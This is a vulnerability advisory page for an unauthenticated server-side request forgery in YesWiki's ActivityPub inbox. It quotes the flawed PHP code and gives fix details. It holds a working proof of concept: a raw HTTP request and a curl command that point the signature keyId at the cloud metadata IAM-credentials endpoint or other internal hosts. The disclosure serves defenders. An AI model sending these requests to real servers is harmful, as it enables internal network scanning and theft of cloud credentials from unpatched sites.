Loading...
Skip to main content

CVE-2026-52769 — Vulnerability in yeswiki/yeswiki — CVE Details

HIGH

YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Published July 9, 2026Updated July 9, 2026Source: osv

Summary

## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`). ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **96** * **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` **before** running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. ### End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y" {} ``` * The Symfony controller matches the route on `formId=1`. * `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). * `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`. * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \ -d '{}' \ -w '\n HTTP %{http_code}, elapsed=%{time_total}s\n' ``` You will get an error in response like this: ```json {"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"} HTTP 500, elapsed=0.15s ``` The `500` and the `"Missing public key"` exception are the **signal** the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener. Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />

Advisory Timeline

  • First published July 9, 2026 (95 days ago).
  • Last revised July 9, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update yeswiki/yeswiki to 4.6.6 or later
composer require "yeswiki/yeswiki:^4.6.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
yeswiki/yeswiki
packagist
v4.6.2, v4.6.3, v4.6.4, v4.6.54.6.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Frequently Asked Questions

What is CVE-2026-52769?
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId` This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.3/10).
How do I check if my project is affected by CVE-2026-52769?
CVE-2026-52769 affects yeswiki/yeswiki. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-52769 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.3

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-vw42-752g-5mrp

Related CVEs

  • CVE-2026-52777
    CRITICAL

    YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize

  • CVE-2026-46670
    CRITICAL

    YesWiki: Unauthenticated SQL Injection

  • CVE-2026-52778
    CRITICAL

    YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service

  • CVE-2025-46348
    CRITICAL

    YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

  • CVE-2024-51478
    HIGH

    YesWiki Uses a Broken or Risky Cryptographic Algorithm

  • CVE-2026-52775
    HIGH

    YesWiki has Authenticated SQL Injection via ReactionManager

  • CVE-2026-41143
    HIGH

    YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()

  • CVE-2026-52767
    HIGH

    YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies